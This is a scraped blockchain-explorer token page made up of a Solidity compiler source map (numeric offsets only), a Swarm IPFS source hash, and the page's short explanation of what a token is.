;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;16590:17;16610:21;16590:41;;16644:19;16666:33;16679:19;16696:1;16679:12;;:16;;:19;;;;:::i;:::-;16666:8;;:12;;:33;;;;:::i;:::-;16644:55;;16712:26;16741:51;16790:1;16741:44;16773:11;16741:27;16755:12;;16741:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;16712:80;;16803:26;16832:33;16846:18;16832:9;:13;;:33;;;;:::i;:::-;16803:62;;16879:15;16907;;;;;;;;;;;16899:29;;16936:18;16961:5;16899:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16878:93;;;17037:5;17024:18;;17085:1;17067:15;:19;17064:362;;;17102:6;;;;;;;;;;;:22;;;17132:18;17178:4;17202:15;17236:1;17256::::0;17276:21:::1;;;;;;;;;;;17316:15;17102:244;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17366:48;17378:18;17398:15;17366:48;;;;;;;;;;;;;;;;;;;;;;;;17064:362;6995:1;;;;;;;;;7026:5:::0;7007:16;;:24;;;;;;;;;;;;;;;;;;15990:1443::o;9815:90::-;9858:4;9896:1;9882:10;;:15;;9875:22;;9815:90;:::o;9917:71::-;9968:12;9955:10;:25;;;;9917:71::o;15285:431::-;15371:7;15393:21;15425:9;15417:17;;:4;;;;;;;;;;;:17;;;:48;;15457:8;;15417:48;;;15437:17;;15417:48;15393:72;;15476:17;15496:34;15526:3;15496:25;15507:13;15496:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;15476:54;;15570:39;15599:9;15570;:24;15588:4;15570:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;15543:9;:24;15561:4;15543:24;;;;;;;;;;;;;;;:66;;;;15650:4;15625:42;;15634:6;15625:42;;;15657:9;15625:42;;;;;;;;;;;;;;;;;;15687:21;15698:9;15687:6;:10;;:21;;;;:::i;:::-;15680:28;;;;15285:431;;;;;:::o;616:224::-;674:7;703:1;698;:6;694:25;;;715:1;708:8;;;;694:25;729:9;745:1;741;:5;729:17;;774:1;769;765;:5;;;;;;:10;757:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;831:1;824:8;;;616:224;;;;;:::o;848:132::-;906:7;933:39;937:1;940;933:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;926:46;;848:132;;;;:::o;988:189::-;1074:7;1106:1;1102;:5;1109:12;1094:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1133:9;1149:1;1145;:5;;;;;;1133:17;;1168:1;1161:8;;;988:189;;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o

Swarm Source

ipfs://b2618e1fa433e47a2a4d3921e69a7894ce468855c5697c65ce4daf460209148b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.